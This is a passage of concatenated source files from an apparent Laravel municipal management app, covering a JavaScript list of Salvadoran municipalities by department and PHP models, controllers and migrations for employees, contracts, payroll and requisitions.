Rafael"); addOption(sec_select_obj,"Santa Rita", "Santa Rita"); addOption(sec_select_obj,"Tejutla", "Tejutla"); } if(main_select_obj.value == "Cuscatlán"){ addOption(sec_select_obj,"Candelaria", "Candelaria"); addOption(sec_select_obj,"Cojutepeque", "Cojutepeque"); addOption(sec_select_obj,"El Carmen", "El Carmen"); addOption(sec_select_obj,"El Rosario", "El Rosario"); addOption(sec_select_obj,"Monte San Juan", "Monte San Juan"); addOption(sec_select_obj,"Oratorio de Concepción", "Oratorio de Concepción"); addOption(sec_select_obj,"San Bartolomé Perulapía", "San Bartolomé Perulapía"); addOption(sec_select_obj,"San Cristóbal", "San Cristóbal"); addOption(sec_select_obj,"San José Guayabal", "San José Guayabal"); addOption(sec_select_obj,"San Pedro Perulapán", "San Pedro Perulapán"); addOption(sec_select_obj,"San Rafael Cedros", "San Rafael Cedros"); addOption(sec_select_obj,"San Ramón", "San Ramón"); addOption(sec_select_obj,"Santa Cruz Analquito", "Santa Cruz Analquito"); addOption(sec_select_obj,"Santa Cruz Michapa", "Santa Cruz Michapa"); addOption(sec_select_obj,"Suchitoto", "Suchitoto"); addOption(sec_select_obj,"Tenancingo", "Tenancingo"); } if(main_select_obj.value == "La Libertad"){ addOption(sec_select_obj,"Antiguo Cuscatlán", "Antiguo Cuscatlán"); addOption(sec_select_obj,"Chiltiupán", "Chiltiupán"); addOption(sec_select_obj,"Ciudad Arce", "Ciudad Arce"); addOption(sec_select_obj,"Colón", "Colón"); addOption(sec_select_obj,"Comasagua", "Comasagua"); addOption(sec_select_obj,"Huizúcar", "Huizúcar"); addOption(sec_select_obj,"Jayaque", "Jayaque"); addOption(sec_select_obj,"Jicalapa", "Jicalapa"); addOption(sec_select_obj,"La Libertad", "La Libertad"); addOption(sec_select_obj,"Nueva San Salvador", "Nueva San Salvador"); addOption(sec_select_obj,"Nuevo Cuscatlán", "Nuevo Cuscatlán"); addOption(sec_select_obj,"Opico", "Opico"); addOption(sec_select_obj,"Quezaltepeque", "Quezaltepeque"); addOption(sec_select_obj,"Sacacoyo", "Sacacoyo"); addOption(sec_select_obj,"San José Villanueva", "San José Villanueva"); addOption(sec_select_obj,"San Matías", "San Matías"); addOption(sec_select_obj,"San Pablo Tacachico", "San Pablo Tacachico"); addOption(sec_select_obj,"Talnique", "Talnique"); addOption(sec_select_obj,"Tamanique", "Tamanique"); addOption(sec_select_obj,"Teotepeque", "Teotepeque"); addOption(sec_select_obj,"Tepecoyo", "Tepecoyo"); addOption(sec_select_obj,"Zaragoza", "Zaragoza"); } if(main_select_obj.value == "La Paz"){ addOption(sec_select_obj,"Cuyultitán", "Cuyultitán"); addOption(sec_select_obj,"El Rosario", "El Rosario"); addOption(sec_select_obj,"Jerusalén", "Jerusalén"); addOption(sec_select_obj,"Mercedes La Ceiba", "Mercedes La Ceiba"); addOption(sec_select_obj,"Olocuilta", "Olocuilta"); addOption(sec_select_obj,"Paraíso de Osorio", "Paraíso de Osorio"); addOption(sec_select_obj,"San Antonio Masahuat", "San Antonio Masahuat"); addOption(sec_select_obj,"San Emigdio", "San Emigdio"); addOption(sec_select_obj,"San Francisco Chinameca", "San Francisco Chinameca"); addOption(sec_select_obj,"San Juan Nonualco", "San Juan Nonualco"); addOption(sec_select_obj,"San Juan Talpa", "San Juan Talpa"); addOption(sec_select_obj,"San Juan Tepezontes", "San Juan Tepezontes"); addOption(sec_select_obj,"San Luis La Herradura", "San Luis La Herradura"); addOption(sec_select_obj,"San Luis Talpa", "San Luis Talpa"); addOption(sec_select_obj,"San Miguel Tepezontes", "San Miguel Tepezontes"); addOption(sec_select_obj,"San Pedro Masahuat", "San Pedro Masahuat"); addOption(sec_select_obj,"San Pedro Nonualco", "San Pedro Nonualco"); addOption(sec_select_obj,"San Rafael Obrajuelo", "San Rafael Obrajuelo"); addOption(sec_select_obj,"Santa María Ostuma", "Santa María Ostuma"); addOption(sec_select_obj,"Santiago Nonualco", "Santiago Nonualco"); addOption(sec_select_obj,"Tapalhuaca", "Tapalhuaca"); addOption(sec_select_obj,"Zacatecoluca", "Zacatecoluca"); } if(main_select_obj.value == "La Unión"){ addOption(sec_select_obj,"Anamorós", "Anamorós"); addOption(sec_select_obj,"Bolívar", "Bolívar"); addOption(sec_select_obj,"Concepción de Oriente", "Concepción de Oriente"); addOption(sec_select_obj,"Conchagua", "Conchagua"); addOption(sec_select_obj,"El Carmen", "El Carmen"); addOption(sec_select_obj,"El Sauce", "El Sauce"); addOption(sec_select_obj,"Intipucá", "Intipucá"); addOption(sec_select_obj,"La Unión", "La Unión"); addOption(sec_select_obj,"Lislique", "Lislique"); addOption(sec_select_obj,"Meanguera del Golfo", "Meanguera del Golfo"); addOption(sec_select_obj,"Nueva Esparta", "Nueva Esparta"); addOption(sec_select_obj,"Pasaquina", "Pasaquina"); addOption(sec_select_obj,"Polorós", "Polorós"); addOption(sec_select_obj,"San Alejo", "San Alejo"); addOption(sec_select_obj,"San José", "San José"); addOption(sec_select_obj,"Santa Rosa de Lima", "Santa Rosa de Lima"); addOption(sec_select_obj,"Yayantique", "Yayantique"); addOption(sec_select_obj,"Yucuayquín", "Yucuayquín"); } if(main_select_obj.value == "Morazán"){ addOption(sec_select_obj,"Arambala", "Arambala"); addOption(sec_select_obj,"Cacaopera", "Cacaopera"); addOption(sec_select_obj,"Chilanga", "Chilanga"); addOption(sec_select_obj,"Corinto", "Corinto"); addOption(sec_select_obj,"Delicias de Concepción", "Delicias de Concepción"); addOption(sec_select_obj,"El Divisadero", "El Divisadero"); addOption(sec_select_obj,"El Rosario", "El Rosario"); addOption(sec_select_obj,"Gualococti", "Gualococti"); addOption(sec_select_obj,"Guatajiagua", "Guatajiagua"); addOption(sec_select_obj,"Joateca", "Joateca"); addOption(sec_select_obj,"Jocoaitique", "Jocoaitique"); addOption(sec_select_obj,"Jocoro", "Jocoro"); addOption(sec_select_obj,"Lolotiquillo", "Lolotiquillo"); addOption(sec_select_obj,"Meanguera", "Meanguera"); addOption(sec_select_obj,"Osicala", "Osicala"); addOption(sec_select_obj,"Perquín", "Perquín"); addOption(sec_select_obj,"<NAME>", "San Carlos"); addOption(sec_select_obj,"San Fernando", "San Fernando"); addOption(sec_select_obj,"San Francisco Gotera", "San Francisco Gotera"); addOption(sec_select_obj,"San Isidro", "San Isidro"); addOption(sec_select_obj,"San Simón", "San Simón"); addOption(sec_select_obj,"Sensembra", "Sensembra"); addOption(sec_select_obj,"Sociedad", "Sociedad"); addOption(sec_select_obj,"Torola", "Torola"); addOption(sec_select_obj,"Yamabal", "Yamabal"); addOption(sec_select_obj,"Yoloaiquín", "Yoloaiquín"); } if(main_select_obj.value == "San Miguel"){ addOption(sec_select_obj,"Carolina", "Carolina"); addOption(sec_select_obj,"Chapeltique", "Chapeltique"); addOption(sec_select_obj,"Chinameca", "Chinameca"); addOption(sec_select_obj,"Chirilagua", "Chirilagua"); addOption(sec_select_obj,"Ciudad Barrios", "Ciudad Barrios"); addOption(sec_select_obj,"Comacarán", "Comacarán"); addOption(sec_select_obj,"El Tránsito", "El Tránsito"); addOption(sec_select_obj,"Lolotique", "Lolotique"); addOption(sec_select_obj,"Moncagua", "Moncagua"); addOption(sec_select_obj,"Nueva Guadalupe", "Nueva Guadalupe"); addOption(sec_select_obj,"Nuevo Edén de San Juan", "Nuevo Edén de San Juan"); addOption(sec_select_obj,"Quelepa", "Quelepa"); addOption(sec_select_obj,"San Antonio", "San Antonio"); addOption(sec_select_obj,"San Gerardo", "San Gerardo"); addOption(sec_select_obj,"San Jorge", "San Jorge"); addOption(sec_select_obj,"San Luis de la Reina", "San Luis de la Reina"); addOption(sec_select_obj,"San Miguel", "San Miguel"); addOption(sec_select_obj,"San Rafael", "San Rafael"); addOption(sec_select_obj,"Sesori", "Sesori"); addOption(sec_select_obj,"Uluazapa", "Uluazapa"); } if(main_select_obj.value == "San Salvador"){ addOption(sec_select_obj,"Aguilares", "Aguilares"); addOption(sec_select_obj,"Apopa", "Apopa"); addOption(sec_select_obj,"Ayutuxtepeque", "Ayutuxtepeque"); addOption(sec_select_obj,"Cuscatancingo", "Cuscatancingo"); addOption(sec_select_obj,"Ciudad Delgado", "Ciudad Delgado"); addOption(sec_select_obj,"El Paisnal", "El Paisnal"); addOption(sec_select_obj,"Guazapa", "Guazapa"); addOption(sec_select_obj,"Ilopango", "Ilopango"); addOption(sec_select_obj,"Mejicanos", "Mejicanos"); addOption(sec_select_obj,"Nejapa", "Nejapa"); addOption(sec_select_obj,"Panchimalco", "Panchimalco"); addOption(sec_select_obj,"Rosario de Mora", "Rosario de Mora"); addOption(sec_select_obj,"San Marcos", "San Marcos"); addOption(sec_select_obj,"San Martín", "San Martín"); addOption(sec_select_obj,"San Salvador", "San Salvador"); addOption(sec_select_obj,"Santiago Texacuangos", "Santiago Texacuangos"); addOption(sec_select_obj,"Santo Tomás", "Santo Tomás"); addOption(sec_select_obj,"Soyapango", "Soyapango"); addOption(sec_select_obj,"Tonacatepeque", "Tonacatepeque"); } if(main_select_obj.value == "San Vicente"){ addOption(sec_select_obj,"Apastepeque", "Apastepeque"); addOption(sec_select_obj,"Guadalupe", "Guadalupe"); addOption(sec_select_obj,"San Cayetano Istepeque", "San Cayetano Istepeque"); addOption(sec_select_obj,"San Esteban Catarina", "San Esteban Catarina"); addOption(sec_select_obj,"San Ildefonso", "San Ildefonso"); addOption(sec_select_obj,"San Lorenzo", "San Lorenzo"); addOption(sec_select_obj,"San Sebastián", "San Sebastián"); addOption(sec_select_obj,"Santa Clara", "Santa Clara"); addOption(sec_select_obj,"Santo Domingo", "Santo Domingo"); addOption(sec_select_obj,"San Vicente", "San Vicente"); addOption(sec_select_obj,"Tecoluca", "Tecoluca"); addOption(sec_select_obj,"Tepetitán", "Tepetitán"); addOption(sec_select_obj,"Verapaz", "Verapaz"); } if(main_select_obj.value == "Santa Ana"){ addOption(sec_select_obj,"Candelaria de la Frontera", "Candelaria de la Frontera"); addOption(sec_select_obj,"Chalchuapa", "Chalchuapa"); addOption(sec_select_obj,"Coatepeque", "Coatepeque"); addOption(sec_select_obj,"El Congo", "El Congo"); addOption(sec_select_obj,"El Porvenir", "El Porvenir"); addOption(sec_select_obj,"Masahuat", "Masahuat"); addOption(sec_select_obj,"Metapán", "Metapán"); addOption(sec_select_obj,"San Antonio Pajonal", "San Antonio Pajonal"); addOption(sec_select_obj,"San Sebastián Salitrillo", "San Sebastián Salitrillo"); addOption(sec_select_obj,"Santa Ana", "Santa Ana"); addOption(sec_select_obj,"Santa Rosa Guachipilín", "Santa Rosa Guachipilín"); addOption(sec_select_obj,"Santiago de la Frontera", "Santiago de la Frontera"); addOption(sec_select_obj,"Texistepeque", "Texistepeque"); } if(main_select_obj.value == "Sonsonate"){ addOption(sec_select_obj,"Acajutla", "Acajutla"); addOption(sec_select_obj,"Armenia", "Armenia"); addOption(sec_select_obj,"Caluco", "Caluco"); addOption(sec_select_obj,"Cuisnahuat", "Cuisnahuat"); addOption(sec_select_obj,"Izalco", "Izalco"); addOption(sec_select_obj,"Juayúa", "Juayúa"); addOption(sec_select_obj,"Nahuizalco", "Nahuizalco"); addOption(sec_select_obj,"Nahulingo", "Nahulingo"); addOption(sec_select_obj,"Salcoatitán", "Salcoatitán"); addOption(sec_select_obj,"San Antonio del Monte", "San Antonio del Monte"); addOption(sec_select_obj,"San Julián", "San Julián"); addOption(sec_select_obj,"Santa Catarina Masahuat", "Santa Catarina Masahuat"); addOption(sec_select_obj,"Santa Isabel Ishuatán", "Santa Isabel Ishuatán"); addOption(sec_select_obj,"Santo Domingo", "Santo Domingo"); addOption(sec_select_obj,"Sonsonate", "Sonsonate"); addOption(sec_select_obj,"Sonzacate", "Sonzacate"); } if(main_select_obj.value == "Usulután"){ addOption(sec_select_obj,"Alegría", "Alegría"); addOption(sec_select_obj,"Berlín", "Berlín"); addOption(sec_select_obj,"California", "California"); addOption(sec_select_obj,"Concepción Batres", "Concepción Batres"); addOption(sec_select_obj,"El Triunfo", "El Triunfo"); addOption(sec_select_obj,"Ereguayquín", "Ereguayquín"); addOption(sec_select_obj,"Estanzuelas", "Estanzuelas"); addOption(sec_select_obj,"Jiquilisco", "Jiquilisco"); addOption(sec_select_obj,"Jucuapa", "Jucuapa"); addOption(sec_select_obj,"Jucuarán", "Jucuarán"); addOption(sec_select_obj,"Mercedes Umaña", "Mercedes Umaña"); addOption(sec_select_obj,"Nueva Granada", "Nueva Granada"); addOption(sec_select_obj,"Ozatlán", "Ozatlán"); addOption(sec_select_obj,"Puerto El Triunfo", "Puerto El Triunfo"); addOption(sec_select_obj,"San Agustín", "San Agustín"); addOption(sec_select_obj,"San Buenaventura", "San Buenaventura"); addOption(sec_select_obj,"San Dionisio", "San Dionisio"); addOption(sec_select_obj,"San Francisco Javier", "San Francisco Javier"); addOption(sec_select_obj,"Santa Elena", "Santa Elena"); addOption(sec_select_obj,"Santa María", "Santa María"); addOption(sec_select_obj,"Santiago de María", "Santiago de María"); addOption(sec_select_obj,"Tecapán", "Tecapán"); addOption(sec_select_obj,"Usulután", "Usulután"); } // check if both select are valid //copy_dom(); $("#municipio").trigger('chosen:updated'); } ////////////////// function removeAllOptions(selectbox) { var i; for(i=selectbox.options.length-1;i>=0;i--) { //selectbox.options.remove(i); selectbox.remove(i); } $("#municipio").trigger('chosen:updated'); } function addOption(selectbox, value, text ) { var optn = document.createElement("OPTION"); optn.text = text; optn.value = value; selectbox.options.add(optn); } function dispHandle(obj) { if (obj.style.display == "none") obj.style.display = ""; else obj.style.display = "none"; } function copy_dom(textf, maincat, subcat){ if(maincat.selectedIndex != 0 && subcat.selectedIndex != 0){ textf.value = maincat.options[maincat.selectedIndex].value + ", " + subcat.options[subcat.selectedIndex].value } else { textf.value = ''; } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Requisicion extends Model { protected $guarded=[]; public function requisiciondetalle() { return $this->hasMany('App\Requisiciondetalle'); } public function unidad() { return $this->belongsTo('App\Unidad'); } public function contratosuministro() { return $this->hasMany('App\Contratosuministro'); } } <file_sep><?php namespace App; use App\User; use Carbon\Carbon; use Illuminate\Database\Eloquent\Model; class Bitacora extends Model { protected $guarded = []; protected $dates = ['registro']; public static function bitacora($accion) { $bitacora = new Bitacora; $bitacora->registro = date('Y-m-d'); $bitacora->hora = date('H:i:s'); $bitacora->accion = $accion; $bitacora->user_id = Auth()->user()->id; $bitacora->save(); } public function user() { return $this->belongsTo('App\User'); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Presupuestounidad extends Model { protected $guarded =[]; public function unidad() { return $this->belongsTo('App\Unidad'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\ContratoProyecto; use App\Empleado; use App\Proyecto; use App\Cargo; use App\Http\Requests\ContratoRequest; use App\Http\Requests\EmpleadoRequest; use App\Http\Requests\ContratoproyectoRequest; use App\Http\Requests\CargoRequest; use DB; class ContratoproyectoController extends Controller { public function __construct() { $this->middleware('auth'); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(Request $request) { $estado = $request->get('estado'); if($estado == "" )$estado = 1; if($estado == 1) { $contratoproyectos = Contratoproyecto::where('estado',$estado)->get(); return view('contratoproyectos.index',compact('contratoproyectos','estado')); } if($estado == 2) { $contratoproyectos = Contratoproyecto::where('estado',$estado)->get(); return view('contratoproyectos.index',compact('contratoproyectos','estado')); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $proyectos = DB::table('proyectos') ->whereNotExists(function ($query) { $query->from('contrato_proyectos') ->whereRaw('contrato_proyectos.proyecto_id = proyectos.id'); })->get(); return view('contratoproyectos.create',compact('proyectos')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(ContratoproyectoRequest $request) { ContratoProyecto::create([ 'proyecto_id' => $request->proyecto, 'motivo_contratacion' => $request->motivo_contratacion, 'inicio_contrato' => invertir_fecha($request->inicio_contrato), 'fin_contrato' => invertir_fecha($request->fin_contrato), 'hora_entrada' => $request->hora_entrada, 'hora_salida' => $request->hora_salida, ]); return redirect('contratoproyectos')->with('mensaje','Contrato registrado'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $contratoproyecto = ContratoProyecto::findorFail($id); return view('contratoproyectos.show',compact('contratoproyecto')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $contratoproyecto = Contratoproyecto::findorFail($id); return redirect('contratoproyectos.edit',compact('contratoproyecto')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $contratoproyecto = Contratoproyecto::find($id); $contratoproyecto->fill($request->All()); $contratoproyecto->save(); bitacora('Se modificó el contrato'); return redirect('/contratoproyectos')->with('mensaje','Registro modificado con éxito'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Cargo extends Model { protected $guarded = []; public function contrato() { $this->hasMany('App\Contrato'); } public function contratoproyecto() { $this->hasMany('App\Contratoproyecto'); } }<file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Prestamo extends Model { protected $guarded = []; public static function prestamos() { $prestamo = Prestamo::where('empleado_id',$id)->first(); dd($prestamo->monto); $monto = $prestamo->monto; return $monto; } public function empleado() { return $this->belongsTo('App\Empleado'); } } <file_sep>$(document).ready(function(){ cargarCuenta(); $('#guardarcuenta').on("click", function(e) { var numero = $("#num_cuenta").val(); var proyecto_id = $("#proyec_cuenta").val(); var banco = $("#banco_cuenta").val(); var fecha_de_apertura = $("#fecha_aper").val(); var monto_inicial = $("#monto_cuenta").val(); var ruta = "/"+carpeta()+"/public/pagos/guardarcuenta"; var token = $('meta[name="csrf-token"]').attr('content'); alert(sexo); $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type:'POST', dataType:'json', data:{numero,proyecto_id,banco,fecha_aper,monto_inicial}, success: function(){ toastr.success('Registro creado'); cargarCuenta(); } }); }); }); function cargarCuenta(){ $.get('/'+carpeta()+'/public/pagos/listarcuentas', function (data){ var html_select = '<option value="">'+data[i].id+'">'+data[i].numero+'</option>' for(var i=0;i<data.length;i++){ html_select +='<option value="'+data[i].id+'">'+data[i].numero+'</option>' $("#pagos").html(html_select); } }); }<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Organizacion; use App\Bitacora; class OrganizacionController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { $organizaciones = Organizacion::all(); return view('organizaciones.index', compact('organizaciones')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('organizaciones.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { Organizacion::create($request->All()); return redirect('organizaciones')->with('mensaje', 'Organización registrada'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $organizaciones = Organizacion::findorFail($id); return view('organizaciones.show', compact('organizaciones')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $organizaciones= Organizacion::find($id); return view('organizaciones.edit', compact('organizaciones')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } }<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Empleado; use App\Tipocontrato; use App\Bitacora; use App\Http\Requests\EmpleadoRequest; class EmpleadoController extends Controller { public function __construct() { $this->middleware('auth'); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(Request $request) { $estado = $request->get('estado'); if($estado == "" )$estado = 1; if($estado == 1) { $empleados = Empleado::where('estado',$estado)->get(); return view('empleados.index',compact('empleados','estado')); } if($estado == 2) { $empleados = Empleado::where('estado',$estado)->get(); return view('empleados.index',compact('empleados','estado')); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $tipocontratos = Tipocontrato::where('estado',1); return view('empleados.create',compact('tipocontratos')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(EmpleadoRequest $request) { if($request->ajax()) { try{ Empleado::create([ 'nombre' => $request->nombre, 'dui' => $request->dui, 'nit' => $request->nit, 'sexo' => $request->sexo, 'telefono_fijo' => $request->telefono_fijo, 'celular' => $request->celular, 'direccion' => $request->direccion, 'fecha_nacimiento' => invertir_fecha($request->fecha_nacimiento), 'num_contribuyente' => $request->num_contribuyente, 'num_seguro_social' => $request->num_seguro_social, 'num_afp' => $request->num_afp, ]); return response()->json([ 'mensaje' => 'exito' ]); }catch(\Exception $e) { return response()->json([ 'mensaje' => 'error' ]); } }else{ try{ Empleado::create([ 'nombre' => $request->nombre, 'dui' => $request->dui, 'nit' => $request->nit, 'sexo' => $request->sexo, 'telefono_fijo' => $request->telefono_fijo, 'celular' => $request->celular, 'direccion' => $request->direccion, 'fecha_nacimiento' => invertir_fecha($request->fecha_nacimiento), 'num_contribuyente' => $request->num_contribuyente, 'num_seguro_social' => $request->num_seguro_social, 'num_afp' => $request->num_afp, ]); return redirect('/empleados')->with('mensaje', 'Empleado registrado exitosamente'); }catch(\Exception $e){ return redirect('empleados/create')->with('error','Ocurrió un error, contacte al administrador'); } } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $empleado = Empleado::findorFail($id); return view('empleados.show', compact('empleado')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $empleado = Empleado::findorFail($id); return view('empleados.edit',compact('empleado')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $empleado = Empleado::find($id); $empleado->fill($request->All()); $empleado->save(); bitacora('Modificó un registro'); return redirect('empleados')->with('mensaje','Registro modificado con éxito'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateContratosTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('contratos', function (Blueprint $table) { $table->bigIncrements('id'); $table->bigInteger('empleado_id')->unsigned(); $table->bigInteger('tipocontrato_id')->unsigned(); $table->bigInteger('cargo_id')->unsigned(); $table->double('salario',8,2); $table->text('funciones'); $table->string('motivo_contratacion')->nullable(); $table->string('motivo')->nullable(); $table->integer('estado')->default(1); $table->foreign('tipocontrato_id')->references('id')->on('tipocontratos'); $table->foreign('empleado_id')->references('id')->on('empleados'); $table->foreign('cargo_id')->references('id')->on('cargos'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('contratos'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Retencion; class RetencionController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { // } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $retencion = Retencion::first(); return view('retenciones.create',compact('retencion')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { Retencion::create($request->All()); return redirect('retenciones/create')->with('mensaje','Los porcentajes se ingresarón con éxito'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $retencion=Retencion::find($id); $retencion->fill($request->All()); $retencion->save(); return redirect('retenciones/create')->with('mensaje','Los porcentajes se modificaron con éxito'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Empleado; use App\Retencion; use App\Contrato; use App\Planilla; class PlanillaController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { $planillas = Planilla::all(); return view('planillas.index',compact('planillas')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $mes = date('m'); $year = date('Y'); $empleados = Contrato::all(); $retencion = Retencion::first(); return view('planillas.create',compact('mes','year','empleados','retencion')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { //dd($request->All()); $count = count($request->empleado_id); for($i=0;$i<$count;$i++) { Planilla::create([ 'empleado_id' => $request->empleado_id[$i], 'mes' => date('m'), 'anio' => date('Y'), 'isss' => $request->isss[$i], 'afp' => $request->afp[$i], 'insaforp' => $request->insaforp[$i], 'prestamos' => $request->prestamo[$i], ]); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateConstruccionsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('construccions', function (Blueprint $table) { $table->bigIncrements('id'); $table->bigInteger('contribuyente_id')->unsigned(); $table->string('direccion_construccion'); $table->double('presupuesto',8,2); $table->bigInteger('impuesto_id')->unsigned(); $table->foreign('contribuyente_id')->references('id')->on('contribuyentes'); $table->foreign('impuesto_id')->references('id')->on('impuestos'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('construccions'); } } <file_sep>import app from '../app' app.config(['RestangularProvider', '$interpolateProvider', (RestangularProvider, $interpolateProvider) => { RestangularProvider.setBaseUrl('.'); $interpolateProvider.startSymbol('[[') $interpolateProvider.endSymbol(']]') }]) app.run(function($rootScope) { }) <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddNumeroSolicitudASolicitudcotizaciones extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('solicitudcotizacions', function (Blueprint $table) { $table->dropColumn('datos_contenido'); $table->string('numero_solicitud')->nullable(); $table->date('fecha_limite')->nullable(); $table->string('tiempo_entrega')->nullable(); $table->dropForeign('solicitudcotizacions_presupuesto_id_foreign'); $table->dropColumn('presupuesto_id'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('solicitudcotizacions', function (Blueprint $table) { $table->string('datos_contenido')->nullable(); $table->dropColumn('numero_solicitud'); $table->dropColumn('fecha_limite'); $table->dropColumn('tiempo_entrega'); $table->bigInteger('presupuesto_id')->unsigned(); $table->foreign('presupuesto_id')->references('id')->on('presupuestos'); }); } } <file_sep>$(document).ready(function(){ cargarContribuyente(); $('#guardarcontribuyente').on("click", function(e) { var nombre = $("#nombre").val(); var dui = $("#dui").val(); var nit = $("#nit").val(); var nacimiento = $("#nacimiento").val(); var direccion = $("#direccion").val(); var telefono = $("#telefono").val(); var sexo = $("#sexo").val(); var motivo = $("#motivo").val(); var ruta = "/sisverapaz/public/negocios/guardarcontribuyente"; var token = $('meta[name="csrf-token"]').attr('content'); alert(sexo); $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type: 'POST', dataType:'json', data:{nombre,dui,nit,nacimiento,direccion,telefono,sexo,motivo}, success: function(){ toastr.success('Registro creado exitosamente'); cargarContribuyente(); } }); }); }); function cargarContribuyente() { $.get('/sisverapaz/public/contratos/listarcontribuyentes', function(data){ var html_select = '<option value="">Seleccione un contribuyente</option>'; for(var i=0;i<data.length;i++) { html_select+='<option value="'+data[i].id+'">'+data[i].nombre+'</option>' $("#contribuyente").html(html_select); } }); }<file_sep>var contador_monto=0; var monto_total = 0.0; var monto = 0.0; $(document).ready(function(){ cargarFondos(); $('#btnAgregar').on("click", function(e){ e.preventDefault(); var id = $("#idp").val(); var cat = $("#cat_id").val() || 0; var cat_nombre = $("#cat_id option:selected").text() || 0; var cant_monto = $("#cant_monto").val() || 0; var existe = $("#cat_id option:selected"); if(cat && cant_monto){ monto+=parseFloat(cant_monto); addbase(id,cat,cant_monto); contador_monto++; $(tbFondos).append( "<tr data-categoria='"+cat+"' data-monto='"+cant_monto+"'>"+ "<td>" + cat_nombre + "</td>" + "<td>" + onFixed( parseFloat(cant_monto), 2 ) + "</td>" + "<td><button type='button' id='delete-btn' class='btn btn-danger'><span class='glyphicon glyphicon-trash'></button></td>" + "</tr>" ); monto_total=monto; $("#monto").val(onFixed(monto_total)); $("#contador_fondos").val(contador_monto); $("#pie_monto #totalEnd").text(onFixed(monto)); $(existe).css("display", "none"); $("#cant_monto").val(""); $("#cat_id").val(""); $("#cat_id").trigger('chosen:updated'); }else{ swal( '¡Aviso!', 'Debe seleccionar una categoría y digitar el monto', 'warning' ) } }); //Agrega los montos a la tabla de fondos y actualiza el monto total $('#btnAgregarfondo').on("click", 